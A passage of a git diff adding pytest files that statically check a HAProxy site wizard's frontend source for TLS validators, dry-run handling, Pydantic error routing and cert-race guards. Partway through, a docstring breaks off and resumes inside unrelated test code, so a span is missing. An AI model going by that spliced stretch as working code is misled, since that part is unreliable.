boolean — the disable UX " + "is gone." + ) + + +def test_phase_k_ssl_max_ver_validator_rejects_below_min_ver(): + """Phase K Phase D — UI parity for the Phase A backend + `reject_inverted_tls_versions` validator. The TLS min/max + Selects must use Antd `dependencies` + a custom validator + that rejects min > max client-side. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + assert "TLS min version cannot be greater than TLS max version" in src, ( + "Phase K Phase D regression: the TLS min validator no " + "longer rejects min > max with the parity message. " + "Operators see the inversion only at submit time as a " + "Pydantic 422." + ) + assert "TLS max version cannot be lower than TLS min version" in src, ( + "Phase K Phase D regression: the TLS max validator no " + "longer rejects max < min with the parity message." + ) + assert "dependencies={[['ssl', 'ssl_max_ver']]}" in src, ( + "Phase K Phase D regression: the ssl_min_ver Form.Item is " + "no longer wired to ssl_max_ver via Antd `dependencies`. " + "Without it the cross-field validator only re-runs when " + "min itself changes, missing the case where the operator " + "edits max after min." + ) + assert "dependencies={[['ssl', 'ssl_min_ver']]}" in src, ( + "Phase K Phase D regression: the ssl_max_ver Form.Item is " + "no longer wired to ssl_min_ver via Antd `dependencies`." + ) + + +def test_phase_k_sitewizard_step4_calls_dry_run_with_abort_controller(): + """Phase K Phase C — the SiteWizard must auto-fire the HAProxy + dry-run on Step 4 entry with an AbortController so a rapid + Step 4 → Step 2 → Step 4 navigation cancels the in-flight + request instead of stacking duplicate validations on the + backend rate limiter. + + Static-source pin asserts: + * `validate_haproxy_config: true` is sent to /api/sites/preview. + * An AbortController is constructed AND attached via `signal:`. + * The Create button's `disabled` clause references the + dry-run status (`dryRunBlocksSubmit`). + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + assert "validate_haproxy_config: true" in src, ( + "Phase K Phase C regression: SiteWizard's Step 4 effect no " + "longer enables the dry-run flag on /api/sites/preview. " + "Without it the operator gets no precommit HAProxy " + "validation feedback — same UX as before Phase K." + ) + assert "new AbortController()" in src, ( + "Phase K Phase C regression: SiteWizard no longer " + "constructs an AbortController for the dry-run effect. " + "Rapid step navigation will stack pending requests on the " + "rate-limited /api/sites/preview endpoint." + ) + assert "signal: controller.signal" in src, ( + "Phase K Phase C regression: SiteWizard's dry-run axios " + "call no longer wires the AbortController's signal — the " + "controller exists but cannot actually cancel the in-flight " + "request." + ) + assert "dryRunBlocksSubmit" in src, ( + "Phase K Phase C regression: the Create button no longer " + "references `dryRunBlocksSubmit`. Without it the operator " + "could click Create while errors are rendered in the " + "validation card. (Phase K Phase D removed the second " + "Create-as-PENDING button — only the unified Create button " + "remains.)" + ) + + +def test_phase_k_sitewizard_step4_renders_pydantic_error_state(): + """Phase K Phase C — the dry-run catch must branch on + `error?.response?.status === 422` and store the FastAPI + `detail[*]` array for the validation card to render with + Edit-Step jumpbacks. This is the operator-facing UX that + catches PEM-stripped resume drafts (`ssl.mode='upload' + + certificate_content=""`) and the new + `reject_tcp_mode_with_https_redirect` validator from Phase A. + + Static-source pin on: + * 422 branch in the catch block. + * `pydantic_error` status state on `dryRunResult`. + * `_locPathToStep` projection (loc → step) used by the card + for jump-back buttons. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + assert "status === 422" in src, ( + "Phase K Phase C regression: the dry-run catch no longer " + "branches on HTTP 422. PEM-stripped resume drafts and " + "Phase A cross-field validator failures will render as " + "generic `unavailable` instead of the operator-facing " + "`pydantic_error` panel with Edit-Step jumpbacks." + ) + assert "'pydantic_error'" in src, ( + "Phase K Phase C regression: SiteWizard no longer keeps a " + "`pydantic_error` status state — the validation card has " + "no way to render FastAPI body-parse failures with " + "field-level guidance." + ) + assert "_locPathToStep" in src, ( + "Phase K Phase C regression: SiteWizard no longer projects " + "FastAPI loc[] to a wizard step. Operators see the error " + "text but lose the one-click Edit-Step-N jumpback path." + ) + + +def test_phase_k_aclrulebuilder_serializes_to_string(): + """Phase K Phase A — `ACLRuleBuilder` must keep emitting `string[]` + for `aclRules`, `useBackendRules`, `redirectRules`. The Pydantic + contract on `FrontendStep` is now `List[str]` / + `List[Union[str, dict]]`; if a future refactor switches the + builder back to dict emission for ACL or use_backend the wizard + will resurrect the + body -> frontend -> acl_rules -> 0: + Input should be a valid dictionary + 422 the user originally reported. + + Static-source pin: each `serialize*Rule` helper returns either a + string literal, a string template, or `rule.raw` (which the rest + of the builder guarantees is a string when set). We assert by + locating the function bodies and confirming there is no + `return { … }` / `return [` shape inside. + """ + path = _REPO / "frontend" / "src" / "components" / "ACLRuleBuilder.js" + src = _read_or_skip(path) + for fn_name in ("serializeAclRule", "serializeUseBackendRule", "serializeRedirectRule"): + match = re.search( + rf"function\s+{fn_name}\s*\([^)]*\)\s*\{{(.*?)\n\}}", + src, + flags=re.DOTALL, + ) + assert match, ( + f"Phase K regression: {fn_name} not found in ACLRuleBuilder.js. " + "The wizard's submit contract is `string[]`; if the builder " + "stops exposing a string-returning serializer the wizard will " + "regress to the original 422 'Input should be a valid dictionary' " + "error operators reported pre-Phase K." + ) + body = match.group(1) + assert "return {" not in body, ( + f"Phase K regression: {fn_name} now returns a dict / object. " + "The Pydantic `FrontendStep` contract requires string elements " + "for `acl_rules` / `use_backend_rules` (and accepts string OR " + "dict for `redirect_rules` only). A dict-returning builder will " + "trigger the original 422 error operators reported pre-Phase K." + ) + assert ( + "return rule.raw" in body + or "return ''" in body + or "return `" in body + or "return str" in body + or "return backend" in body # serializeUseBackendRule short-path + ), ( + f"Phase K regression: {fn_name} no longer returns a string. " + "The wizard's submit contract is `string[]`; the function must " + "produce HAProxy directive strings for the wizard POST to clear " + "Pydantic validation." + ) + + +def test_phase_k_sitewizard_resets_dry_run_status_when_leaving_step4(): + """Phase K Phase C audit-fix — when the operator navigates AWAY + from Step 4, the wizard must reset `dryRunResult.status` back to + `'idle'`. Otherwise a stale `clean` / `errors` / `warnings_only` + state survives across a Step-2 ACL edit (the ACL builder lives + OUTSIDE the antd Form so its mutations do not fire + `onValuesChange`) and the auto-fire effect's + `if (dryRunResult.status !== 'idle') return undefined;` branch + suppresses the next fetch when the operator returns to Step 4. + + Operator-visible symptom: after editing redirect / ACL rules on + Step 2 the wizard would render YESTERDAY'S validation card on + re-entry, even though the rules just changed. The "Create" button + would be enabled / disabled based on the stale status. Plan's + Phase E manual checklist item 12 ("Step 4 → Step 2 → Step 4 + within 200 ms → no duplicate dry-run requests") explicitly + requires re-firing on every Step 4 entry, not "first entry only". + + Static-source pin: assert the `step !== WIZARD_LAST_STEP` branch + explicitly reasserts `status: 'idle'` (not just aborts the + in-flight controller). The pin walks the Step-4 effect body so a + refactor that drops the reset is detected immediately. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + # Locate the dry-run effect by anchoring on the comment that + # introduces it; this is more robust than matching the bare + # `useEffect((` boilerplate that appears many times in the file. + anchor = "// Phase K Phase C: auto-fire the HAProxy dry-run validation" + eff_start = src.find(anchor) + assert eff_start >= 0, ( + "Phase K Phase C regression: the dry-run useEffect anchor " + "comment is missing — SiteWizard no longer documents the " + "auto-fire effect." + ) + # Extract the effect body up to the closing dependency array. + # Phase K Phase C audit-fix #3: deps no longer include + # `dryRunResult.status` (that was the self-cancel race root cause + # — see the long-form comment around `dryRunStatusRef` / + # `dryRunInvalidationTick` in SiteWizard.js for the full + # explanation). The new deps are + # `[step, form, aclBuilderData, dryRunInvalidationTick]`. + eff_end = src.find( + "[step, form, aclBuilderData, dryRunInvalidationTick]", + eff_start, + ) + assert eff_end >= 0, ( + "Phase K Phase C regression: the dry-run useEffect's " + "dependency array no longer matches " + "`[step, form, aclBuilderData, dryRunInvalidationTick]`. " + "Audit-fix #3 removed `dryRunResult.status` from deps to " + "kill the self-cancel race (the cleanup of the prior run " + "aborted the in-flight fetch when `setStatus('loading')` " + "re-triggered the effect — visible as the wizard sitting on " + "'Validating against HAProxy…' indefinitely). The " + "`dryRunInvalidationTick` counter is the external re-trigger " + "channel used by onValuesChange instead." + ) + effect_body = src[eff_start:eff_end] + # The cleanup branch (step !== 4) must reset to `idle` so a Step 2 + # ACL edit + Step 4 return triggers a fresh fetch. Pin both the + # control-flow guard AND the status reset itself. + assert "step !== WIZARD_LAST_STEP" in effect_body, ( + "Phase K Phase C audit-fix regression: the dry-run useEffect " + "no longer guards on `step !== WIZARD_LAST_STEP` to detect " + "the leave-Step-4 path." + ) + assert "status: 'idle'" in effect_body, ( + "Phase K Phase C audit-fix regression: the leave-Step-4 " + "branch no longer resets `dryRunResult.status` to 'idle'. " + "Without the reset, a stale `clean` / `errors` / " + "`warnings_only` state survives across an ACL-builder edit " + "on Step 2 (the builder lives outside antd's Form, so its " + "mutations do NOT fire `onValuesChange` invalidation), and " + "the auto-fire branch suppresses the next fetch on return " + "to Step 4 — operators see yesterday's validation card." + ) + # Phase K Phase C audit-fix #3: the leave-Step-4 reset must use + # the REF (dryRunStatusRef.current) not the closure-captured + # state, otherwise the ref-based deps cannot detect the stale + # status on re-entry. Pin the ref usage explicitly so a future + # refactor that drops the ref read regresses the race fix. + assert "dryRunStatusRef.current" in effect_body, ( + "Phase K Phase C audit-fix #3 regression: the dry-run " + "useEffect no longer reads from `dryRunStatusRef.current`. " + "Audit-fix #3 made the effect ref-driven so it does NOT " + "re-run on internal status changes (that was the self-" + "cancel race). Without the ref read the effect cannot " + "guard 'already loading / completed' correctly and we get " + "duplicate fetches or — worse — the stuck 'Validating " + "against HAProxy…' state from before the fix." + ) + + +def test_phase_k_sitewizard_pydantic_jumpback_falls_back_to_msg_for_root_errors(): + """Phase K Phase C audit-fix #2 — the validation card's + "Edit Step N" jump-back button must work for SiteCreate-level + `model_validator(mode="after")` errors. + + Pydantic v2 raises root-level model_validator errors with + `loc=()` (empty tuple). FastAPI wraps the response, prepending + `'body'` so the operator-visible 422 envelope is + `loc=['body']` — length 1. The legacy `_locPathToStep` + early-returned `null` whenever `loc.length < 2`, so: + + * PEM-stripped resume → "ssl.mode='upload' requires a non- + empty PEM-encoded certificate_content (if you resumed a + draft, PEM fields were stripped …)" → no Edit-Step + button. Plan satır 148, 234 explicitly require Step 3 + jumpback for this exact flow. + * `enforce_acme_apply_and_http` ACME cross-field hatalarının + tümü `loc=['body']` formatında → none of them got a + jumpback, defeating Step 4's "fix-from-here" UX promise. + + The fix routes the message text through a small ordered + pattern table (SSL → frontend → backend → cluster/domains → + review) when `loc` cannot pinpoint a step on its own. + + This pin asserts: + 1. The pattern table exists and is documented. + 2. `_locPathToStep` accepts a `msg` second arg. + 3. The render call site forwards `p.msg` so the fallback + actually fires. + 4. The patterns cover the four user-visible failure + categories the plan calls out (PEM, frontend, backend, + domains/cluster) so a refactor that prunes one is + caught. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + + assert "PYDANTIC_MSG_TO_STEP_PATTERNS" in src, ( + "Phase K Phase C audit-fix #2 regression: the message-" + "content pattern table for SiteCreate-level Pydantic " + "errors is missing. Without it, root-level model_validator " + "errors land with `loc=['body']` and the wizard cannot " + "compute the target step for the Edit-Step jump-back " + "button — most importantly the PEM-stripped resume flow " + "loses its Step 3 jump-back." + ) + assert "function _locPathToStep(loc, msg)" in src, ( + "Phase K Phase C audit-fix #2 regression: " + "`_locPathToStep` no longer takes a `msg` argument, so " + "the message-content fallback cannot fire even if the " + "pattern table is present." + ) + assert "_locPathToStep(p.loc, p.msg)" in src, ( + "Phase K Phase C audit-fix #2 regression: the pydantic " + "error renderer no longer forwards `p.msg` to " + "`_locPathToStep`. Without the message text the fallback " + "patterns can't fire and PEM-stripped resume flows lose " + "their Step 3 jump-back button." + ) + # Verify the four operator-visible categories are still + # represented. Each marker must appear inside the patterns + # table so a refactor that drops a step's coverage is caught. + table_start = src.find("PYDANTIC_MSG_TO_STEP_PATTERNS = [") + table_end = src.find("];", table_start) + assert table_start >= 0 and table_end >= 0, ( + "Phase K Phase C audit-fix #2 regression: pattern table " + "delimiters are missing or malformed." + ) + table_body = src[table_start:table_end] + for marker, label in ( + ("PEM", "SSL/PEM-stripped resume routing to Step 3"), + ("frontend\\.", "frontend-field routing to Step 2"), + ("backend\\.", "backend-field routing to Step 1"), + ("domains", "cluster/domains routing to Step 0"), + ("apply_immediately", "review-step routing to Step 4"), + ): + assert marker in table_body, ( + f"Phase K Phase C audit-fix #2 regression: " + f"`{label}` is no longer covered by the message-" + f"content pattern table — operators will not get a " + f"jump-back button for this category of error." + ) + + +def test_phase_k_sitewizard_pydantic_pattern_order_routes_acme_xfield_correctly(): + """Phase K Phase C audit-fix #2 (round 3) — the pattern table + must be ordered so cross-field ACME errors route to the step + the operator must EDIT to fix the error, not the step that + "feels related". + + `enforce_acme_apply_and_http` raises messages like: + + * "ssl.mode='acme' requires apply_immediately=true …" + → operator fix is on Step 4 (toggle apply_immediately), + NOT Step 3 (the operator chose acme on purpose). + * "ssl.mode='acme' requires frontend.mode='http' …" + → operator fix is on Step 2 (FE mode), NOT Step 3. + * "ssl.mode='acme' requires frontend.bind_port=80 …" + → operator fix is on Step 2 (FE bind_port), NOT Step 3. + * "ssl.mode='acme' (HTTP-01) cannot issue wildcard certs + (*.example.com). …" + → operator fix is on Step 0 (remove wildcard) OR Step 3 + (switch ssl.mode); Step 0 is the more direct path. + + A naive ordering ("SSL first because every message starts + with ssl.mode='acme'") would route every cross-field hit to + Step 3, defeating the jump-back's "fix-from-here" promise. + The fix is to put MORE-SPECIFIC actionable markers + (apply_immediately → wildcard/domains → frontend.* → + backend.*) BEFORE the general SSL catch-all. + + Static-source pin: read the pattern table in source order + and assert the SSL catch-all (the entry that matches + `ssl\\.`) is the LAST entry. Plus assert + `apply_immediately` appears at the head of the table. + Without this ordering, the audit-fix #2 jump-back regresses + silently for every ACME cross-field error. + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + table_start = src.find("PYDANTIC_MSG_TO_STEP_PATTERNS = [") + table_end = src.find("];", table_start) + assert table_start >= 0 and table_end >= 0, ( + "Pattern table delimiters missing — earlier pin should " + "have caught this." + ) + table_body = src[table_start:table_end] + # Pull out lines that contain a regex literal opener `[/`. We + # want to inspect ONLY actual pattern entries, not comment + # lines that mention `ssl\.` etc. + regex_lines = [ln for ln in table_body.splitlines() if "[/" in ln] + assert regex_lines, ( + "Phase K Phase C audit-fix #2 round 3 regression: no " + "regex literals found in pattern table — the table is " + "empty or malformed." + ) + + def _step_of(line): + # Each entry is ` [/.../i, N],` — extract the trailing N. + # The line ends with `, N],` (single closing bracket for + # the tuple `[regex, step]`). + import re + m = re.search(r",\s*(\d+)\s*\]\s*,?\s*$", line) + if not m: + return None + return int(m.group(1)) + + line_steps = [(line, _step_of(line)) for line in regex_lines] + + # The LAST regex line must be the SSL catch-all. Identifying + # the SSL catch-all: it routes to step 3 AND its pattern + # text mentions `ssl\.` (the catch-all SSL token). + last_line, last_step = line_steps[-1] + assert last_step == 3 and "ssl\\." in last_line, ( + "Phase K Phase C audit-fix #2 round 3 regression: the " + "LAST entry in PYDANTIC_MSG_TO_STEP_PATTERNS is no " + "longer the SSL catch-all (step 3 + `ssl\\.` token). " + "The SSL pattern must come LAST so it does not match " + "BEFORE more-specific markers (apply_immediately, " + "wildcard, frontend.*) for cross-field ACME errors. " + f"Actual last entry: step={last_step}, line={last_line!r}" + ) + + # Build the order of step routes as they appear in source. + # Then assert specific markers come BEFORE the SSL catch-all. + step_order = [step for _, step in line_steps] + ssl_pos = len(step_order) - 1 # last entry by construction above + + # apply_immediately must route to step 4 and appear BEFORE SSL. + apply_lines = [ + i for i, line in enumerate(regex_lines) + if "apply_immediately" in line + ] + assert apply_lines, ( + "Phase K Phase C audit-fix #2 round 3 regression: " + "`apply_immediately` regex literal missing — " + "'ssl.mode=\"acme\" requires apply_immediately=true' " + "loses its Step 4 jump-back." + ) + assert apply_lines[0] < ssl_pos, ( + "Phase K Phase C audit-fix #2 round 3 regression: the " + "`apply_immediately` pattern appears AT/AFTER the SSL " + "catch-all in source order. Cross-field error " + "'ssl.mode=\"acme\" requires apply_immediately=true' " + "will be mis-routed to Step 3 instead of Step 4." + ) + + # frontend.* must route to step 2 and appear BEFORE SSL. + fe_lines = [ + i for i, line in enumerate(regex_lines) + if "frontend\\." in line + ] + assert fe_lines, ( + "Phase K Phase C audit-fix #2 round 3 regression: " + "`frontend\\.` regex literal missing." + ) + assert fe_lines[0] < ssl_pos, ( + "Phase K Phase C audit-fix #2 round 3 regression: the " + "`frontend\\.` regex line appears AT/AFTER the SSL " + "catch-all in source order. Cross-field errors like " + "'ssl.mode=\"acme\" requires frontend.mode=\"http\"' or " + "'ssl.mode=\"acme\" requires frontend.bind_port=80' " + "will be mis-routed to Step 3 instead of Step 2." + ) + + # wildcard must route to step 0 and appear BEFORE SSL. + wc_lines = [ + i for i, line in enumerate(regex_lines) + if "wildcard" in line + ] + assert wc_lines, ( + "Phase K Phase C audit-fix #2 round 3 regression: " + "`wildcard` regex literal missing." + ) + assert wc_lines[0] < ssl_pos, ( + "Phase K Phase C audit-fix #2 round 3 regression: the " + "`wildcard` regex line appears AT/AFTER the SSL " + "catch-all in source order. The wildcard-ACME error " + "will be mis-routed to Step 3 instead of Step 0." + ) + + +def test_phase_k_sitewizard_pydantic_error_render_skips_empty_field_path(): + """Phase K Phase C audit-fix #2 round 4 — the pydantic_error + list item must NOT render a stray `: ` + prefix when the failing error has no field path. + + Pydantic v2 raises SiteCreate-level model_validator errors + with `loc=()`; FastAPI prepends `'body'` so the envelope + becomes `loc=['body']` (length 1). The renderer takes + `p.loc.slice(1)` to drop the leading 'body' marker — for + length-1 locs that yields `[]` → `join('.')` → empty + string. The legacy renderer then dropped that empty string + inside `{...}: `, producing a visually + awkward " : Value error, ssl.mode='upload' requires …" + string-with-orphan-colon for every PEM-stripped resume + error and every `enforce_acme_apply_and_http` cross-field + rejection (which is, per audit-fix #2, the entire reason + the renderer cares about loc=['body'] in the first place). + + The fix conditionally renders the strong/colon prefix + ONLY when `p.loc.length > 1`. This pin asserts the guard + is in place by walking the renderer source and verifying: + + 1. The `fieldPath` const is computed from `p.loc.length + > 1` (i.e. a length check, not unconditional). + 2. The strong tag wraps `fieldPath` (the new, computed + value) — not the legacy unconditional + `p.loc.slice(1).join('.')` literal. + 3. The strong tag is rendered only when `fieldPath` is + truthy ({fieldPath && (...)}). + """ + path = _REPO / "frontend" / "src" / "components" / "SiteWizard.js" + src = _read_or_skip(path) + + # 1. The length-aware fieldPath const must exist. + assert "p.loc.length > 1" in src, ( + "Phase K Phase C audit-fix #2 round 4 regression: the " + "renderer no longer guards on `p.loc.length > 1` before " + "computing the field path prefix. SiteCreate-level " + "model_validator errors (`loc=['body']`) will once " + "again render with a stray `: ` orphan colon." + ) + # 2. The fieldPath const must be the actual joined path. + assert "fieldPath" in src, ( + "Phase K Phase C audit-fix #2 round 4 regression: the " + "`fieldPath` const that holds the joined Pydantic loc " + "is missing — the cosmetic guard was reverted." + ) + # 3. The strong tag must be rendered only when fieldPath + # is truthy. Match a tolerant pattern so whitespace / + # line breaks in the source do not break the pin. + import re + guard_pattern = re.compile( + r"\{\s*fieldPath\s*&&\s*\(\s*", + re.MULTILINE, + ) + assert guard_pattern.search(src), ( + "Phase K Phase C audit-fix #2 round 4 regression: the " + "strong tag wrapping the field path is no longer " + "guarded by `{fieldPath && (...)}`. PEM-stripped resume " + "errors and other `loc=['body']` rejections will render " + "with an empty-prefix orphan colon." + ) + + +# --------------------------------------------------------------------------- +# Phase K Phase D — Site Wizard UX simplifications (Bulgu #1/#2/#5/#6). +# --------------------------------------------------------------------------- + + +def test_phase_k_phase_d_sitewizard_uses_cluster_context_for_step0(): + """Phase K Phase D (Bulgu #1) — the wizard must consume the same + header `ClusterContext` that every other entity page reads from. + + Pre-fix Step 0 had its own cluster Select dropdown decoupled from + the global header cluster picker. Operators could (and did) pick + cluster A in the header, start the wizard, then choose cluster B + on Step 0 with NO visual indication that they had drifted off + the header cluster. The fix: + + 1. Imports `useCluster` from `../contexts/ClusterContext`. + 2. Hooks the wizard component into `useCluster()` to obtain + `selectedCluster`, the cluster list (for resume sync), and + `selectCluster` (for resume-driven swap). + 3. Replaces the Step 0 cluster `", max_anchor) + assert end_max > 0 + snippet = src[min_anchor:end_max] + assert "TLSv1.0" not in snippet, ( + "R18c-#33 regression: TLSv1.0 still offered in server TLS UI" + ) + assert "TLSv1.1" not in snippet, ( + "R18c-#33 regression: TLSv1.1 still offered in server TLS UI" + ) + assert "TLSv1.2" in snippet + assert "TLSv1.3" in snippet + + +# ===================================================================== +# M2 — Resume hydration race (cert reconciliation guard) +# ===================================================================== + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_tracks_existing_certs_loading_state(): + src = (_FRONT / "components" / "SiteWizard.js").read_text() + assert "const [existingCertsLoading, setExistingCertsLoading]" in src, ( + "R18c-#34 regression: SiteWizard must track existing-cert " + "fetch state (existingCertsLoading) to guard Submit during " + "resume race" + ) + + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_disables_submit_while_cert_reconciliation_pending(): + """The unified submit button must be disabled while sslMode == + 'existing' and the cluster-scoped cert list is still loading. + + Phase K Phase D (Bulgu #6) — Updated for the post-unification + UI: the old 'Create as PENDING' button was retired; only the + 'Create Site' / 'Create & Apply (ACME)' button remains. The + `acmeBlocksDraft` flag was retired too — handleSubmit derives + apply_immediately from sslMode internally. The cert-race guard + still applies to the surviving button. + """ + src = (_FRONT / "components" / "SiteWizard.js").read_text() + assert "certReconciliationPending" in src, ( + "R18c-#34 regression: SiteWizard must define a guard variable " + "(certReconciliationPending) to express the resume-race state" + ) + # Phase K Phase D: only one submit button now — pin the cert-race + # guard on that button's disabled clause. + assert "acmeBlocksSubmit || certReconciliationPending" in src, ( + "Create button missing certReconciliationPending guard " + "(Phase K Phase D unified the two pre-existing submit buttons " + "into one; the cert-race guard moved onto the survivor)." + ) + + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_existing_cert_fetch_toggles_loading_flag(): + """The cluster-scoped /api/ssl/certificates fetch effect must + set the loading flag at fetch start AND clear it in finally so + a network failure does not leave the Submit button disabled.""" + src = (_FRONT / "components" / "SiteWizard.js").read_text() + assert "setExistingCertsLoading(true);" in src, ( + "fetch effect must set loading=true before issuing the GET" + ) + assert "setExistingCertsLoading(false);" in src, ( + "fetch effect must always clear loading (use finally branch)" + ) + + +# ===================================================================== +# M3 — 500 detail leakage replaced with correlation id +# ===================================================================== + +def test_create_site_500_does_not_leak_exception_str(): + src = (_BACK / "routers" / "site_wizard.py").read_text() + # The new error-handling block uses a uuid4-derived correlation id + # and a stable user-facing message. The stale `detail=str(e)` form + # must be gone. + assert "raise HTTPException(status_code=500, detail=str(e))" not in src, ( + "R18c-#35 regression: 500 catch-all leaks str(e) to client" + ) + assert "correlation_id = uuid.uuid4().hex" in src, ( + "R18c-#35 regression: 500 path must mint a correlation id" + ) + assert "Wizard create failed unexpectedly" in src, ( + "R18c-#35 regression: 500 detail must be a stable generic message" + ) + assert 'correlation_id=' in src, ( + "R18c-#35 regression: server log must include correlation_id label" + ) + + +# ===================================================================== +# M4 — handleCancel Modal must reject mask / keyboard dismissal +# ===================================================================== + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_cancel_modal_disables_keyboard_and_mask(): + src = (_FRONT / "components" / "SiteWizard.js").read_text() + # Locate the handleCancel function block. + cancel_start = src.find("const handleCancel = ()") + assert cancel_start >= 0 + cancel_end = src.find("};", cancel_start) + block = src[cancel_start:cancel_end] + assert "keyboard: false" in block, ( + "R18c-#36 regression: handleCancel modal must disable keyboard " + "(Esc) dismissal so it does not silently invoke Save Draft" + ) + assert "maskClosable: false" in block, ( + "R18c-#36 regression: handleCancel modal must disable mask click " + "dismissal for the same reason" + ) + + +# ===================================================================== +# M5 — fetchInitial surfaces failures +# ===================================================================== + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_fetch_initial_no_silent_catch(): + """Phase K Phase D update: the wizard's `fetchInitial` no longer + duplicates the cluster fetch — `useCluster()` (shared + ClusterContext) is the single source of truth for the cluster + list now. The LE accounts fetch remains wizard-local because no + other page needs it. The pin therefore: + + * still forbids the silent `catch (_e) {}` swallow, + * still requires LE account failures to surface as info, + * REMOVES the (now-impossible) cluster-fetch-failure pin + because there is no cluster fetch left in this function. + """ + src = (_FRONT / "components" / "SiteWizard.js").read_text() + # Find the fetchInitial body. + start = src.find("const fetchInitial = useCallback(async ()") + assert start >= 0 + # The function ends at the `}, []);` that closes the useCallback. + end = src.find("}, []);", start) + block = src[start:end] + # The legacy silent catch block must be gone. + assert "catch (_e) {" not in block, ( + "R18c-#37 regression: fetchInitial must not swallow errors via " + "an empty catch block" + ) + # LE accounts surfacing remains required. + assert "message.info(extractApiError(acmeRes.reason" in src, ( + "R18c-#37 regression: LE accounts fetch failure must produce a " + "user-visible info message" + ) + # Phase K Phase D: the wizard MUST NOT duplicate the + # /api/clusters fetch. ClusterContext owns it. + assert "axios.get('/api/clusters')" not in block, ( + "Phase K Phase D (Bulgu #1) regression: fetchInitial is " + "back to duplicating the /api/clusters fetch. That doubles " + "cluster-manager load and races ClusterContext's hydration." + ) + + +# ===================================================================== +# M8 — apply_immediately coercion moved out of render path +# ===================================================================== + +@pytest.mark.skipif(not _FRONTEND_AVAILABLE, reason="frontend/src not present") +def test_site_wizard_acme_apply_coercion_in_useeffect_not_settimeout(): + src = (_FRONT / "components" / "SiteWizard.js").read_text() + # The render-time setTimeout that mutated form state must be gone. + bad = "setTimeout(() => form.setFieldsValue({ apply_immediately: true }), 0)" + assert bad not in src, ( + "R18c-#38 regression: setTimeout-in-render apply_immediately " + "coercion must be replaced by a useEffect" + ) + # And there must be a useEffect dependent on sslMode that performs + # the coercion. + needle_effect = "useEffect(() => {\n if (sslMode === 'acme') {" + needle_set = "form.setFieldsValue({ apply_immediately: true });" + assert needle_effect in src, ( + "R18c-#38 regression: missing sslMode-keyed useEffect that " + "coerces apply_immediately when ssl.mode == 'acme'" + ) + # Make sure the coercion still runs (idempotently). + assert needle_set in src, ( + "useEffect must still call setFieldsValue to flip " + "apply_immediately" + ) diff --git a/backend/tests/test_site_wizard_r18c_round2.py b/backend/tests/test_site_wizard_r18c_round2.py new file mode 100644 index 0000000..365d978 --- /dev/null +++ b/backend/tests/test_site_wizard_r18c_round2.py @@ -0,0 +1,201 @@ +"""v1.5.0 R18c round 2 audit fixes — UI page integrity tests. + +Findings discovered during R18c round 2 (UI pages impact): + + R18c-#5 (BackendServers SSL fields stale on toggle off — KRITIK): + Pre-fix when the operator toggled `ssl_enabled` from true to + false in the server edit modal, the SSL Form.Items unmounted + and Ant Design did NOT include their values in the submit + payload. The backend PUT only updated fields PRESENT in the + payload, so the existing DB row kept its stale + ssl_certificate_id / ssl_verify / ssl_sni / ssl_min_ver / + ssl_max_ver / ssl_ciphers — HAProxy then rendered a server + line where SSL was "off" but with the leftover certificate + path, producing inconsistent behaviour. handleServerSubmit now + explicitly nulls the SSL fields when ssl_enabled is false. + + R18c-#6 (BulkVersionHistory: wizard versions get Restore + + formatted name): pre-fix `bulk-proxied-host-create-{ts}` + versions were displayed as raw timestamped strings with no + "what is this?" hint, AND the Restore button only appeared + for `apply-consolidated` versions. The operator who applied a + wizard PENDING and later wanted to roll back had no UI path. + formatVersionName now returns "New Site (wizard) - {raw}" and + the Restore predicate accepts the wizard prefix. + + R18c-#7 (UserManagement audit Details summary): pre-fix + importantKeys lacked the wizard's degraded-outcome fields + (wizard_status, apply_error, acme_staging_error, version_name, + ssl_mode), so the truncated table cell defaulted to alphabetical + keys and the operator only saw the wizard outcome by opening + the JSON tooltip. Now the wizard fields appear first. + + R18c-#8 (UserManagement Activity rowKey collision): pre-fix + `rowKey="timestamp"` produced duplicate React keys when burst + logging happened in the same second (e.g. wizard create + ACME + staging event). Replaced with a composite (id || timestamp + + action + resource_id). + + R18c-#9 (SSLManagement delete error message): pre-fix raw string + concatenation against `error.response?.data?.detail` produced + "[object Object]" when FastAPI returned validation errors as a + list. Now uses the shared `extractApiError` helper. +""" +from pathlib import Path + +import pytest + + +_REPO = Path(__file__).resolve().parent.parent +_FRONT = _REPO.parent / "frontend" / "src" + + +# ----------------- R18c-#5: SSL fields cleared on submit ----------------- + + +def test_backend_servers_clears_ssl_fields_when_disabled(): + src = (_FRONT / "components" / "BackendServers.js") + if not src.exists(): + pytest.skip("frontend tree not mounted") + body = src.read_text() + # The cleanup logic must explicitly null all SSL-related fields + # when ssl_enabled is false. + assert "if (!requestData.ssl_enabled)" in body, ( + "R18c-#5 KRITIK regression: handleServerSubmit no longer " + "guards against stale SSL fields when ssl_enabled is " + "toggled off" + ) + for f in ( + "ssl_certificate_id", + "ssl_verify", + "ssl_sni", + "ssl_min_ver", + "ssl_max_ver", + "ssl_ciphers", + ): + # The cleanup loop must list every SSL-related field. + assert f"'{f}'" in body, ( + f"R18c-#5 KRITIK regression: SSL field '{f}' no longer " + "explicitly nulled when ssl_enabled=false — DB row " + "keeps stale value, HAProxy emits inconsistent server " + "line" + ) + + +# ----------------- R18c-#6: wizard versions in BulkVersionHistory ----------------- + + +def test_bulk_version_history_formats_wizard_version_name(): + src = (_FRONT / "components" / "BulkVersionHistory.js") + if not src.exists(): + pytest.skip("frontend tree not mounted") + body = src.read_text() + assert "bulk-site-create-" in body, ( + "R18c-#6 regression: formatVersionName no longer recognises " + "the wizard's current `bulk-site-create-` prefix" + ) + assert "bulk-proxied-host-create-" in body, ( + 